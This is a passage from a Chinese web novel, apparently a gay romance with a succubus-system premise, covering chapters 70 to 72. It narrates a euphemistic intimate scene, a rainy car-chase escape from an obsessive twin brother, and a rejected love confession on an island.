顾嘉致冷冷道:“作里作气,你把我当梁文乐了,用这种词形容我?” 叶临知道他讨厌梁文乐,连忙打马虎眼:“哎呀,我就是觉得,好兄弟之间不要有那么多心眼,有什么事直说呗。” 顾嘉致继续沉默,盯着门口,确认楚诏没回来,心里才满意。 叶临又想到他以前的错事,猛地捶他好几下,控诉道:“你还好意思说我,你以前在医院不还说我拜金,让我滚远点,可嫌弃我了。” 顾嘉致想到这件事,心虚地扭头:“我当时失忆了,睁开眼就看到你是梁文乐的男朋友。 你知道的,我最看不起梁文乐,知道你是他男朋友,就觉得你们臭味相投,所以才会对你有偏见。” 叶临冷哼一声,继续翻旧账:“你现在都没我有钱,我存款都过亿了,怎么好意思嫌弃我拜金,穷鬼!” 顾嘉致知道叶临喜欢别人崇拜,谄媚道:“真没想到,半年没见,你变这么厉害了,不仅把梵星经营得蒸蒸日上,还有了很多存款。苟富贵,勿相忘。” 叶临被人高高地捧起,像是掌管财富的神明,被众人膜拜,虚荣心得到了大大的满足。 他眯起眼睛,挥挥手:“哎呀,知道了。你可是我最得力的小弟,我发达了,绝对不会忘记你的。” 顾嘉致看着他这副能力一般又自信骄傲的样子,像是小猫咪偷了老虎须,嗷嗷呜呜的装大老虎,特别可爱。 他忍不住抱紧叶临,又亲了好几下,讨好道,“叶大哥,请受小弟的膜拜。” 叶临被顾嘉致哄得快要飞起来,总算不计较他骂自己拜金的事情。 再说了,拜金这个词本来就不是贬义,明明就是有上进心,爱钱怎么能算有错呢。 他们腻歪到了中午,需要下楼吃饭。 叶临进厨房准备午饭,顾嘉致就进去帮忙。 简单地做了三菜一汤,吃完饭后就去主卧躺着。 第二天,楚诏没有回来,直到第三天都没看见人影,完全消失踪影。 叶临用手机联系楚诏,没有得到回复,惴惴不安。 顾嘉致安慰他不会有事,还给他看顾柘的行程,都在周围的市区寻找,没有考虑到偏远的农村,应该很难找到。 叶临却很难安心,换上一件保暖的衣服就出门去找,希望能够在周围找到楚诏。 今天的风大,吹得树木摇晃,路边的野草全部都倾斜到一边,灰沉沉的天色,田里都没几个人在耕作。 顾嘉致陪着叶临走到一处稻草堆旁边,停下来指着山下的空地:“他应该是有事先走了,你看下面都没有他的车了。” 山下的空地是村里的停车场,因为不是过年期间,只停着几辆,略显空荡。 平时楚诏的车都会停在这里,但是现在不见踪影,应该是走了。 叶临想到顾柘还在找他,楚诏应该是去对付顾柘了,也就没有再找下去。 顾嘉致看见旁边的草丛有个黑影闪过,立即揽住叶临的腰:“回家吧,这里太冷了,会吹感冒的。” 叶临跟着他沿着原路返回。 他们靠得很近,肩并肩,还时不时传出笑声,感情很好。 躲在树林的楚诏见到这一幕,猛地捶了树干。 明明房子是他买的,里面的生活用品也是他置办的,前几天还是他和叶临穿着情侣装,住在里面。 结果顾嘉致鸠占鹊巢,穿着他的衣服,住着他的房子,睡他的心上人,真是不要脸! 楚诏咬牙骂了几声,想冲上去跟顾嘉致打一架,把这个混蛋赶出去,却感觉到手机在震动。 他拿出来接听,脸色难看,着急忙慌地朝着山下跑去,找出那辆车,离开这个村子。 不知道过了多少天,叶临的饥饿值迅速升高,已经到了危险的90%。 楚诏离开后,顾嘉致每天都陪他打游戏,聊天。 晚上纯盖被子聊天,都比亲。 饥饿值就越堆越高,已经到了必须解决的地步。 【当前宿主的饥饿值为93%,请宿主及时补充能量。】 叶临早上刷牙的时候,听到系统的播报语音,忍不住骂了脏话。 都怪顾嘉致这段时间没有跟他亲密接触! 以前的话,顾嘉致就像只大狗,恨不得天天粘着他舔,怎么现在会保持距离? 而且楚诏离开的那一天,顾嘉致还吻了很久,后面就再也没有其他的动作。 到底是为什么啊? 叶临不喜欢多想,有需求就会提,刷完牙就跑去找顾嘉致。 顾嘉致正在摆放餐具,等着他吃早餐。 叶临坐下来,拿起筷子吃面,开宗明义:“我的饥饿值太高了,吃完饭就帮我。” 顾嘉致就是要等这一天,笑着应和“好”。 吃完饭后,他们来到主卧。 顾嘉致却迟迟没有动作,像个机器人坐在床边玩游戏机。 叶临气得冲过去揪住他的胳膊肉,用力地拧:“顾嘉致,你是不是忘记了什么事?” 顾嘉致把他抱进怀里,故作懵懂:“什么事情?” 叶临主动亲了他的侧脸,咬牙道:“帮我解决饥饿值啊!” 顾嘉致笑起来,轻轻地抚背:“急什么,再等一下。” 叶临又拍了他两巴掌:“等什么等,快点!” 顾嘉致用力抱紧,没有多余的动作:“再等等,快了。” 叶临骂骂咧咧的,跟他打了好几个来回,都没有得到回应。 很快,他的脸颊泛红,意识逐渐模糊。 顾嘉致感觉到怀里的人快要化掉,松开来看,果然变成了魅魔的样子。 摸一下头顶的角,身后的尾巴就会小幅度地摇晃。 要是亲,就会大幅度地晃动,像是高兴的小狗摇尾巴。 叶临的眼神迷离,主动靠进他的怀里,哼哼唧唧的,索求能量。 顾嘉致摸他的角,故意问道:“我离开的期间,有没有人看过你这个形态。” 叶临没有说话,只是主动坐起来。 搂住他的脖子,声音黏糊糊的:“要,要” 顾嘉致掐住尾巴,不给它继续晃动:“要什么?” 叶临的尾巴被桎梏住,浑身不舒服,生气地哼哼:“放,放开我的尾巴。” 顾嘉致“啧”了一声,凑近耳畔,故意呼出热气:“之前就给我玩,现在怎么不给了?” 叶临努力地晃要,发现尾巴怎么都挣不开,急红了眼睛,委屈巴巴地骂:“你,你坏!” 顾嘉致太喜欢他这个样子,故意用力掐:“就喜欢欺负你。” 小魅魔肚子饿了,只想快点吃饭,哪里能忍受被欺负,眼泪大颗大颗地掉下来,像是珍珠。 “呜呜呜呜呜!” 顾嘉致松开手,帮他擦去眼泪,轻声细语地哄:“好了好了,不哭。” 小魅魔就算有求于他,也是有傲骨的,抬脚去踹,扁着嘴骂人:“坏,坏死了!” 顾嘉致被他踹得心痒,浑身都麻了,不再故意逗他,低头去吻。 小魅魔得到了满足,踹人的动作就停下来,乖巧地仰起头吃饭。 顾嘉致忍了很多天,储存的食物很多,全喂进来。 小魅魔就撑得厉害,肚子圆鼓鼓的,像是孕晚期,看起来很可怜。 顾嘉致抬手去安抚,情不自禁地说道:“要是你能生,估计都能组成足球队了。” 小魅魔只是软软的哼唧,偶尔发出单音,并没有回复。他吃到了美味的饭,心情愉悦,眼泪都不掉了。 正午的阳光照在水田上,泛起刺眼的白光,近处的树叶的呈现出崭新的绿色,像是吸饱水的毛笔,快要滴下墨水。 叶临靠在顾嘉致怀里,就面对着阳台的位置,可以看清楚外面的景色。 慢慢的,他恢复了意识,才发现顾嘉致的不轨意图。 “顾嘉致,你故意的是吧!” “饥饿值消除了啊。” 顾嘉致听到自己的全名,第一反应是心虚,动作都缓和了不少。 叶临气得去打他的脸,又踹了好几脚,大骂他有病:“看我被这个该死的魅魔系统折磨,很有意思是吧,打死你!” “怎么是折磨呢,你看这回多有感觉。” 顾嘉致试图找补,又被扇了一巴掌,只好控制住叶临的弱点,再跟他说好话。 叶临很快又被他伺候好了,怨气消失,配合着固定的流程。 没办法,他们两个人总是最契合的,有再大的矛盾,还是能在这个时候得到解决。 次日清晨,顾嘉致率先醒过来,叶临还在睡觉。 他先吻了叶临的额头,再轻手轻脚地离开卧室,想下楼做早餐。 刚到一楼,就听到钥匙开门的声音。 料想应该是楚诏回来,还好昨天晚上提前反锁,从外面打不开。 果然,片刻后,就变成了急促的拍门声。 顾嘉致走过去开门,想讽刺楚诏。 只见楚诏扶着门框,艰难地站着,额角有血滑落,应该是受了很严重的伤。 他抬眼去看顾嘉致,气息奄奄:“快,快带叶临离开这里,顾柘追过来了” 70-80 第71章 第71章他和顾嘉致私奔了 叶临尚且在睡梦中,猛然被人推醒,还没反应过来,就被提起来穿衣服。 能够感觉到是顾嘉致。 他微微眯起眼睛骂:“你大早上的发什么神经,我还没睡饱呢!” 顾嘉致蹲下来帮他穿鞋,语气焦急:“顾柘追过来了。” 光是听到“顾柘”这个名字,就会冷汗直冒,双腿打颤。 叶临瞬间清醒过来,利落地踩进鞋子里,拿起手机就往外跑。 速度很快,几乎是电光火石间就跑到了一楼。 顾嘉致差点追不上,还在后面叫他的名字。 叶临到了一楼,就看到地上的楚诏,脸上有血,眼神涣散。 怎么回事? 叶临把楚诏扶起来:“你怎么伤成这样了?” 楚诏听到他的声音就恢复了意识,剧烈咳嗽几声,血液顺着嘴角流下来:“你快点跑,顾柘这次追过来,肯定会把你带去国外,再也不会回来了。” 叶临听到他的话,吓得脸色煞白,嘴唇紧闭。 顾嘉致把面包翻出来揣上,朝着叶临走过来:“我们快离开这里吧,再待下去很危险。” 叶临扶着楚诏坐下来,找出医药箱帮他包扎头部,询问附近医院的位置,要把楚诏一块带走。 楚诏拒绝了他的提议,神情焦急地催促:“你快点跑,顾柘的目标是你,我无所谓。” 顾嘉致查完地图,把医院的图标递给他看:“三十公里外有个医院,现在出发,应该来得及,快点。” 楚诏难以置信地看着顾嘉致,他从未想过这种危急的时刻,情敌还会考虑他。 顾嘉致:“我又不是顾柘,会不择手段,送你去医院,顺路的。” 叶临:“那好,你扶着楚诏下来,我去开车接你们,饶另外一条道。” 顾嘉致扶起楚诏,朝着外面走。 出村都是山路,叶临的车速很快,几乎要飞起来,很快就来到附近的县城医院。 楚诏只有外伤,不算严重,可以在医院里得到妥善的治疗。 他住院后,打电话给好朋友过来照顾,就催着叶临离开。毕竟顾柘只想要带走叶临,也不会再关心受伤住院的他。 叶临确认他没事就离开医院。 顾嘉致在他后面,还停留了一会儿,才回到车上。 为了避免疲劳驾驶,接下来的高速路段由顾嘉致来开,而叶临躺在副驾驶上休息。 他们的目的是借助高速出市,绕进人少的小道,跑到海边躲起来。 听楚诏的描述,顾柘带了很多人来追叶临。 只要截到人,马上就会带进私人飞机里,直奔国外,从此消失匿迹,永远不回来。 叶临想到国外语言不通的环境,心生恐惧,不断地透过后视镜去看,时刻检查有没有可疑的车辆跟踪。 傍晚时分,天色异常昏暗,厚重的云层盖住光线,大团大团的云累积,像是即将坍塌的高楼,望而生畏。 慢慢的,云层中开始出现刺眼的电流,时不时发出轰隆声。 后面的路上出现了四辆车,紧跟其后,全部都是赛车级别,速度很快。 叶临紧张地握住扶手,呼吸加快。 顾嘉致注意到身后的状况,知道是顾柘带着人追上来,找到机会就变道,驶出公路。 这条是单行道,后面的四辆车迅速变换成一条长线,像是毒蛇在追逐猎物。 为首的是顾柘,他的目光紧紧地锁住前面,不慌不忙地打开通话界面。 “算一下他们的所有去路,务必拦住。” 他要把叶临赶进一张由无数车辆形成的大网里,这样就无路可逃。 至于顾嘉致,非要作对,就别怪他不客气了。 顾柘想到叶临的脸,微微握紧方向盘,目光犹如出鞘的利刃,泛着冷意的光,势必要见血。 云层越来越低,像是要将地面渺小的人和植物全都压碎,狂风呼啸,大雨倾盆。 车窗已经被关上,雨没有飘进来,但能够听到水珠拍打玻璃的声音,噼里啪啦,像是战场上的子弹。 叶临的心情紧张,犹如在枪林弹雨中前行,心里七上八下的,频繁回头去看后面。 顾嘉致感觉到他的焦躁不安,出声安抚道:“没事,别担心,我已经通知了爸妈,待会就有人把他带回去。” 叶临松了一口气,猛地拍椅子发泄情绪:“顾柘真像个神经病,有必要嘛,非得追上来!”* 顾嘉致很想问他,“还不是因为你要跟他谈恋爱,才会让他如此痴迷疯狂”。 可现在是非常时期,逃跑要紧,说这种话没意思,还是选择闭嘴。 雨越下越大,像是天空撕开了巨大的口子,洪水倒灌,要将所有淹没殆尽。 已经驶入一条山路,两边都是繁密的树林,在夜色里看起来像是无数个站着的骷髅。 车在高速的状态下,不断地过弯,轮胎摩擦地面,温度升高,快要被磨损。 这种时候就应该有一辆顶级的赛车,才能逃出生天,而不是十几万的小车。 顾嘉致的精神高度紧绷,听着旁边叶临的指导,故意绕进狭窄难走的山路,后面的车很难集体追上来围堵。 小车的好处就是耐用,哪怕不是柏油路,都能够正常行驶,像是黄鼠狼钻进森林里,难以寻觅。 叶临发现,后面的几辆车逐渐慢下来,从刚开始能够看清全貌,变成了小圆点。 总算摆脱这些车了。 铤而走险,闯进林中小路,是正确的决定。 “太好了,他们都没跟上来,我们从左边那条小路穿出去,再回到大道上,就好了。” 叶临滑动导航图,指挥着旁边顾嘉致。 他注意到顾嘉致的额角已经冒汗,握住方向盘的手指泛红,呈现出脱力的状态。 “你在前面停下吧,换我来开,这样劳累下去,容易出事。” “没事,我还可以。” “少废话,我的车技比你好,还熟悉地形变化,快点。” 顾嘉致停车,松开手的瞬间感觉灵魂都出窍了,慢慢地离开驾驶座。 外面下着大雨,黑漆漆的一片,看不清周围的情况,能感觉到密集的雨珠打在身上,像是掉了钢珠。 顾嘉致坐着副驾驶座上,闻到叶临残留下来的香味,很快就放松下来,靠着椅子休息。 叶临调整座椅,查看导航,确认方向就重新启动车辆。 车灯的强力光线交织成一张流动的网,将雨滴映得犹如银珠。 这些珠子在光束中迅速坠落,消失在积水的泥水路面上,激起一圈又一圈混浊的涟漪。 黑夜中的山像是远古的巨兽,而车就像是萤火虫,在身上四处飘动,寻找着出路。 不知道飞了多久,总算找到出口,路面逐渐变宽,距离大道越来越近。 后面的几辆车也追上来,像是几个小灯泡,距离越来越短。 叶临终于体会到顾嘉致刚刚的心情,紧紧地盯着前方,不敢松懈半刻。 可是,前面突然出现一辆黑色的车,像是幽魂飘到前面,要拦住活人的去路,将人引入幽冥地府。 这辆车从正面开过来,两三分钟后就会跟他们撞上。而后面几辆车都减速,往后退,排成一行阻止他们从后方逃跑。 是陷阱,猎人用枪在前方逼迫,而猎豹只能逃跑,最后钻进早就准备好的大网里。 叶临的心脏陡然提起来,大骂:“艹,顾柘故意的,他想逼我们退后!” 顾嘉致盯着前面的黑车,神情冷静:“不要减速,往前开。” 叶临怕撞上去,吓得手心冒汗:“不行啊,会撞上的。” 顾嘉致早就识破一切:“没事,前面那辆车是顾柘在开,他就是赌你害怕,你后退就上当了。” 叶临心脏声越来越清晰,嘴唇都在发颤:“他是疯子,敢自残,肯定不怕死,但我怕死啊!” 顾嘉致盯着那束刺眼的光:“信我,直接开过去,他不敢撞你!” 双胞胎出生后,就会有心电感应,时强时弱。 这一刻,顾嘉致跟顾柘之间的心电感应达到了最强峰值,能够感知到对方的态度。 两辆车越来越近,很快就要撞上。 “快,他绝对不敢撞!” 或许是顾嘉致的语气太过于笃定,又或许他太害怕忘记了,总之没有减速,就照着原方向继续往前看。 白光越来越刺眼,占据了视野的全部。 突然间,前方的白光熄灭。 即将碰上的时候,黑车往旁边撤,撞上了内侧的山体,车头弯曲变形,发出巨大的声响。 小车擦着这辆黑色赛车而过,刹那间,亮光照进黑车里。 叶临清楚地看见驾驶座上的顾柘已经昏迷,头磕到,额头出了血,像是命案现场。 速度逐渐慢下来,在路边停下来。 叶临大口喘。气,靠着方向盘快昏死过去,嘴里喃喃着:“你快打救护车吧,我怕他出事。” 顾嘉致下车,打开驾驶座的门,安抚地摸摸他的头,轻声道:“顾柘死不了,那辆赛车防撞的装置很好,而且待会儿就会有人带他回去。 你下来吧,我来开。后面应该还有人在追,必须尽快离开。” 叶临下车的时候腿都在发软,颤颤巍巍地回到副驾驶座上。 顾柘突然撞上山体的画面还在脑海中回放,像是午夜档的鬼片,不断地刺激他敏感的神经。 “不是,他疯了吧,非要拦我,结果自己撞了。” “有病!” 叶临骂骂咧咧的,又忧心地往后看。 那辆黑车果然被很多亮灯包围住,应该会及时送到医院。 可是又忍不住在心里为顾柘祈祷,希望这个人没生命危险。 顾嘉致知道顾柘的想法,无非就是想吓唬叶临,逼迫叶临往后退,从而将其捕获。 可是叶临没有后退,听他的话一直往前。 那样两辆车相撞,肯定会出事。 顾柘只能换方向,撞到内侧的山体,受伤昏迷。 他情愿自己死,也舍不得叶临出事,所以会毫不犹豫地撞上山体,保证叶临的安全。 顾嘉致清楚他的想法,就没让叶临减速。 雨势逐渐减弱,两边开始出现路灯,视野清晰,能够看清楚周围的景色。 隐约听见海潮声,像是远处传来的低语,刚开始若有若无,后面越来越清晰。 雨已经停了,天边透出些许微光。 窗外是暗蓝色的海洋,很多人在港口处忙碌,近处漂浮着许多艘船。 顾嘉致把车停在附近的停车场,买了两张船票,领着叶临上船,前往附近的小岛。 顾柘已经被送进医院里,没有生命危险,但是撞断了几根肋骨,只能躺在病床上养伤。 顾父顾母接到小儿子的消息,跑到医院看到大儿子伤成这样,心疼得落泪。 天彻底亮了,阳光刺入病房里,却扫不清阴霾。 顾柘心如死灰,看着又哭又骂的父母没说话,紧紧地攥住被子,在心里咒了顾嘉致几万遍。 倘若那辆车上没有顾嘉致,叶临肯定没有胆子往前,只会退后,早就被他抓住,哪里会酿成今天这种局面。 顾母看儿子心不在焉,坐下来握住他的手,苦口婆心地劝:“小柘啊,你怎么想不开,非要半夜开车去那么远的地方。” 顾父的眼眶泛红,大声斥责:“你想让我们白发人送黑发人吗,干出这种荒唐事!” 顾柘扭头看向父母,再也无法控制自己的情绪,手臂发颤,声嘶力竭地指责:“如果你们答应我和叶临的婚事,我怎么可能需要开车去追他,更不可能出车祸!” 顾母没想到儿子为了个叶临会变得疯魔,眼泪止住,瞠目结舌。 顾父快昏过去,指着他的眉心痛骂:“你听听自己在说些什么!就算我们同意,叶临也不愿意跟你结婚,这才跑掉,需要你去追,怎么还怪上我们了!” 顾母好声好气地劝:“对啊,小柘,叶临不愿意,你就不要强求了,去喜欢别的男生也好啊,别把自己搞成这样。” 是的,所有人都知道叶临不愿意跟他结婚。 只有他一厢情愿,想跟叶临百年好合,永远不分开。 为什么? 为什么他无论如何都得不到叶临的心,而顾嘉致随随便便就能获得叶临的信任。 叶临和顾嘉致都在那辆车上,雨夜中逃亡,共赴幸福自由,多么浪漫。 他的车祸,俨然成为了两个人的感情增稠剂。 顾柘像是坠入黑暗之中,寒冷刺痛,快要倒下。 他的眼眶很快就红了,哽咽道:“可是我喜欢叶临,想跟他结婚。做不到的话,不如去死!” 精心培养多年的优秀大儿子,为了个男人要死要活,像个疯子,哪个父母能接受。 顾父已经想不出什么话教训儿子:“你,你像什么样子!” 顾母心疼地握住他的手:“小柘啊,人生很长,没了叶临,还会有别人,别吊死在一棵树上啊。看到你这样,爸妈都很心疼。” 顾柘抽出自己的手,看向窗外,眼泪终究没落下来:“你们走吧,我没什么好说的。” 顾父还在骂,将他跟顾嘉致作比较,指责他辜负了父母的期待。 顾柘冷笑起来:“你以为顾嘉致很乖吗,就是他带着叶临私奔,他们早就勾搭上了,感情深厚。恭喜你,顾家绝后了。” 顾父喘不过气,捂着胸口疯狂拍,眼睛珠子瞪大。 顾母连忙扶住他,无奈道:“小柘,你干嘛气你爸。他听说你住院,觉都没睡就跑过来了。而且我相信嘉致会听话的,很快就回来。” 顾柘的心情总算好了一些:“那你们快点把顾嘉致绑回来。家里有我一个喜欢男人就好,他还要传宗接代。” 顾母担心顾父的身体健康,没有多说,赶紧叫来医护人员,先去治疗丈夫。 门关上后,房间变得更暗。任凭阳光如何热烈,都无法温暖这个白色房间。 强迫一个不爱自己的人,无疑是痛苦的。可是失去叶临,连求生欲都会消失,不如继续。 顾柘闭目养神,脑子里在构思新的计划。无论如何,他都得将叶临攥在手里。 海岛上郁郁葱葱,沙滩上的椰树在风中摇曳。阳光明媚,宽大的叶片都闪烁着油亮的光泽,沙滩上还有白色贝壳。 叶临在民宿醒来后,走到外面的沙滩上吹了很久的海风,又坐下来,手里捧着椰子喝。 他看着宽阔的海面,想到自己经历的所有事情,心生无限感慨。 顾嘉致在旁边坐下来,把盘子装着的烤串递给他:“挺好吃的。” 叶临拿起一根烤鱿鱼:“顾柘没事吧,他送去医院了吗?” 顾嘉致最烦他关心顾柘,阴阳怪气起来:“当然没事,你这么关心他,还念着旧情啊?” 叶临心系顾柘,没有察觉到他话里的嘲讽意味,无奈地叹气:“我一开始就不应该去招惹顾柘,这样就不会发生这么多事了,希望他平安吧。” 其实早上顾母就给顾嘉致发消息,告诉他:顾柘安好,而且所有的手下都被撤走,让他赶紧回来,不要跟叶临在外面鬼混。 顾嘉致听到叶临担心顾柘,就拈酸吃醋:“你还自责上了!你知不知道,顾柘的人还在外面巡逻。如果我不把你带到这里,他早就把你抓回去。” 叶临放下烤串,焦虑地踩沙地:“不是,他还没放弃啊?我服了!那又要在这里呆一段时间了,我的梵星怎么办!” 顾嘉致凑过去搂住他的肩膀,亲了侧脸,轻声哄道:“没事,都有我呢。梵星那边没事,我会想办法让顾柘死心,你就安心在这里呆着。” 叶临对顾嘉致的能力持怀疑态度,催促他去找人帮忙:“你去联系沈邵,看他有没有办法。” 顾嘉致想到以前在梵星把沈邵当兄弟,结果这小子背着自己跟叶临好,两面三刀。 “沈邵那个虚伪的小人要是有用,你会被顾柘关起来吗?再说了,他还生着病,自求多福吧。我们是好朋友,你应该相信我的能力!” “好吧,那你小心点,顾柘对自己狠,对别人更狠。我怕你变成楚诏那个惨样,又要去医院。” 顾嘉致搂得更紧,得意地询问:“你担心我啊。” 叶临还想继续吃烧烤,用力推开,也没否认。 顾嘉致看到他的脸颊一努一努的,像是仓鼠屯粮,又把烧烤递过去,自我劝服:“好了,我知道我在你心里最重要,楚诏那种炮灰,完全不配跟我比。” 叶临无奈地翻白眼:“你跟楚诏有仇啊!其实他挺好的,拖延了顾柘,还不顾自己的伤,催着我走。” 这家伙最心软了,看见谁受伤住院,都会关心,可不能再说了。 顾嘉致没有再提楚诏,拿起鲍鱼塞进他的嘴里,聊起理想。 吃完烧烤,他们就在沙滩边上迎着海风奔跑。 碧蓝色的海水清澈见底,像是无数块拼凑起来的玻璃片,海浪轻轻拍打着不远处的礁石,发出清脆的声响。 远处的海面与天空相互交融,不分彼此。 叶临的腰很细,在阳光下白得晃眼,风让衣服完全鼓起来,像个气呼呼的刺豚。 顾嘉致看得呼吸一滞,差点忘记要水泼回去。 叶临趁机朝着他泼了很多水,大笑起来,露出洁白的牙齿,眉眼弯弯,像是新月。 顾嘉致猛地冲过去,将人拦腰抱起来,朝着旁边的躺椅走去。 叶临挥动四肢,不断地扑腾,嚷嚷着放开,还用力拧顾嘉致的手臂,骂他神经病。 顾嘉致就爱听他骂人,不回怼,只是笑。 紧接着,叶临就被放在躺椅上,头顶的伞遮住了阳光,而顾嘉致挡住海水,将这里围成一个小空间。 叶临抬手打了顾嘉致的脸,骂道:“你干嘛啊,突然犯病!” 顾嘉致按住他的双手,低头去吻,蔓延到眼尾,脸颊 叶临的气息乱了,又去推他:“这里是沙滩,会有别人,你别乱来。” 顾嘉致握住他的手来亲:“你就没有想过,我为什么想亲你吗?” “想帮我补充饥饿值呗,其实已经清零了,不需要你亲了,快松手!” “不是因为饥饿值。” 叶临听到他的声音,猛然抬眼,对上那双漆黑的眼瞳。 平静的潭水之下酝酿着汹涌的爱意,恍惚间像是看见了顾柘。 心跳突然增快,既畏惧又紧张,匆匆忙忙地想起身躲起来。 “因为我喜欢你!” 第72章 第72章只是朋友吗? 顾嘉致告白的声音震耳欲聋,比昨夜的雷声还要大,震颤心脏。 叶临彻底慌了,都怀疑自己在梦境里,不是现实。 被感情深厚的好兄弟表白,这是多么令人绝望的事情。 顾柘那些人都是他的工具,有用的时候哄着,没用就抛弃。 对于他们的表白,叶临只当是笑话,并不会放在心上。 可顾嘉致不一样,是他交过心,共患难的好朋友。 叶临推开顾嘉致,故作平静地转移话题:“今天晚上吃什么啊,我觉得刚刚的鱿鱼挺好吃的,让民宿老板多做点。” 顾嘉致挡住他的去路,盯着他的眼睛看:“不要转移话题,你明明知道我刚刚在说什么。” 叶临都不敢直视他的眼睛,慌乱地看向别处,心虚地问:“啊,你刚刚说什么了,我没听清。算了,你也不用复述,我们快点回去吧,这里风大,吹得我冷。” 顾嘉致微微垂着头,额角的碎发挡住眉眼,神情晦暗不清。 又想蒙混过关,每次都是这样。 半年前,叶临身边还只有梁文乐和沈邵两个男人,半年后又多出两个人。 那以后呢,会不会越来越多,最后叶临选择一个男人情定终身,完全忘记他? 明明有关情侣的一切事情都做了,可是却只能得到好朋友的称呼。 而且,凭什么顾柘都能拥有“男朋友”的头衔,他只能躲在“好朋友”的背后,吃尽苦头! 顾嘉致按住叶临的肩膀,不让他起身离开。 “我说我喜欢你,想跟你谈恋爱,做你的男朋友!” “啊?” 叶临像是走路掉进坑里,措不及防的失去力气,只能仰头去看头顶。 “你,你在说笑话吧。虽然我们是朋友,但这个笑话不好笑啊。” 顾嘉致的手上微微用力,哽咽难言:“你觉得我的告白是笑话,很好笑?” 叶临抬眼去看,发现顾嘉致的神情委屈,根本无法理解他的心情:“你正常点吧,感觉神经兮兮的。” 他的爱压抑多时,像是沉寂整个冬天的种子,耗尽所有力气才顶开石头,探出一根翠绿的小苗。 可叶临茫然疑惑,小苗还没长大,就被狂风吹起来,飘到空中,失去生机。 顾嘉致想到他的那些前男朋友,眼眶泛酸:“所以你什么意思,拒绝我的告白是吗?” 叶临发现顾嘉致陷入了一个可怕误区,朋友感情好不代表就是爱情。 他们都是直男,到了年纪就要成家立业,有个美满的家庭,过正常人的生活,而不是纠结于爱与不爱之中。 顾柘出柜得罪父母,已经没有继承财产的希望。 现在顾家的希望全在顾嘉致身上,他应该抓住机会,抢夺回属于自己的资源,而不是像顾柘一样犯神经,在这里爱来爱去。 身为顾嘉致的朋友,有义务将他引导回正轨。 叶临无奈地叹气:“我觉得你病好后,脑子就不太正常。你之前不是说自己是直男,还说要跟我做好朋友,现在表白就显得逻辑不通。 你还是别想这些乱七八糟的事情了,快点回到顾家,继承财产,再结婚生子。” 逻辑不通? 对啊,最初是他信誓旦旦地告诉叶临,自己是直男。是他贪恋叶临的美色,又不想承担义务,借着“好朋友”的身份占便宜。 明明是他第一个遇到叶临,获得叶临的信任,可是他没有及时珍惜,还要助力叶临跟梁文乐的恋情。 如果能够使用时光回溯,他要回到酒吧当天,阻止梁文乐,认真地跟叶临暧昧,告白,谈恋爱,最后结婚。 可是没有时光回溯,现在弥补不行吗? 顾嘉致自知有错,姿态放低,近乎哀求:“没有逻辑不通,我就是对你一见钟情,才跟你做朋友,帮你还贷款,让你住在我家里。 如果我当初聪明点,梁文乐那些人根本没有机会靠近你。再给我一次机会好吗,我们好好地谈恋爱,再结婚。” 叶临听到他说谈恋爱和结婚,突然间幻视顾柘,寒意顺着脊背爬上来。 恍惚间,可以预见几个月后的顾嘉致会变成顾柘那种疯癫的样子,反反复复地逼问他。 “我不接受跟你谈恋爱结婚,太奇怪了!”叶临推开他,几乎落荒而逃。 “那你为什么能接受跟顾柘谈恋爱!”顾嘉致大声叫住他,心中不满的情绪像是沸腾的岩浆。 “你跟顾柘不一样啊。” 叶临心里从来没把顾柘当回事,谈恋爱是逢场作戏,虚情假意地利用。 可他在意顾嘉致,没有确认自己的心意之前,就不能随便骗人,更不能像对待顾柘那样对待顾嘉致。 “不一样?”顾嘉致重复他的话,冷笑起来,表面平静,其实呕心抽肠,快要疼昏过去。 叶临已经跑回民宿,沙滩上留下一长串他的脚印。 顾嘉致站在原地,盯着这些脚印看,不断地回想他拒绝的话术。 为什么不一样? 他和顾柘是双胞胎,连基因都是相同的,凭什么叶临跟顾柘谈,不跟他谈? 顾柘虚伪下作,阴险狡诈,是丑陋的小人,哪样比得上他? 难道叶临觉得,顾柘比他聪明有能力,继承了顾家的所有? 顾嘉致忍不住想顾柘跟叶临相恋的日常,应该很甜蜜,令人艳羡。 真情实意地爱过,才能生出恨意。 叶临爱过顾柘,现在才会听到顾柘就想跑,语言上恨透了对方,又忍不住担心顾柘出车祸。 从小到大,顾柘接受了身边所有人的赞扬和爱意。 大家提到顾家的孪生兄弟,都会先把顾柘拎出来夸奖一番,偶尔会点顾嘉致。 聚会的时候,爸妈总是把顾柘当成自己骄傲的资本,到处炫耀,而他是反面教材,难以宣之于口的耻辱。 顾柘一出生就夺走了他的亲情,处处打压他。后面趁着他失忆,还夺走了叶临的爱。 这种混蛋,怎么没被撞死呢? 顾嘉致能感觉到顾柘还好好地活着,此刻恨不得他去死,从未存在过。 世人都说双胞胎比寻常的兄弟姐妹感情好,可他和顾柘自诞生的那一刻,就注定了是死敌。 心脏疼得抽搐,张嘴想骂,却发不出声音。 极度痛苦的时候,就是容易失声。 顾嘉致看着旁边的民宿,犹豫好一会儿,还是走过去。 民宿是海边居民自建的小洋楼,总共六层,一楼的客厅层高是其他的两倍,恢宏大气。 房间里大都是红木家具,就连沙发也是,硬得硌人,坐着并不舒服。 民宿里还没有电梯,只能爬楼梯,好在房间就在二楼,并不算高。 叶临回到房间后,就把门锁上,烦躁地踹了踹床脚,思考顾嘉致的事情。 他从来没被朋友表白过,哪里知道该怎么处理,只能先躲起来,逃避问题。 老实说,他觉得顾嘉致想谈恋爱,是不正常的。 明明是革命般的友谊,何必用爱情这种词汇玷污,就不能一直做朋友吗? 叶临实在想象不出,自己跟顾嘉致谈恋爱什么样的情景:似乎是每天都要互相说喜欢,还要逛街约会,穿情侣装,太黏腻可怕了。 一旦他靠近别的男人,顾嘉致还会反复询问,因为嫉妒心而跟他吵架,变得矫情做作。 还是现在这种相处模式比较好,没有永远的恋人,但朋友是永远的。 叶临打算等顾嘉致回来,试着劝他放弃谈恋爱这种邪念,专心做事业。 可直到天黑,顾嘉致都没有进房间。 叶临下楼吃晚饭,看到顾嘉致从另外一边的楼梯走上去,进了对面的房间,再也没有出来。 问过民宿老板才知道,顾嘉致新订了一个房间,自己住进去。 让他冷静冷静也好,思考清楚,应该就会继续做朋友。 叶临吃完饭,出门散步吹吹海风,再回到房间里休息。 一连五天,顾嘉致都没有主动来找他,像个透明人。 叶临看到顾嘉致也会刻意避开,尽量不跟对方碰面,也不说话。 民宿老板有个儿子,还在读大学,放假后呆在家里打游戏,很快就跟叶临玩到一起。 叶临见他年纪比自己小,还崇拜自己的事业,于是叫他小六。 他们经常在一楼的电脑房打游戏,时不时就发出奇怪的叫声,情绪亢奋。 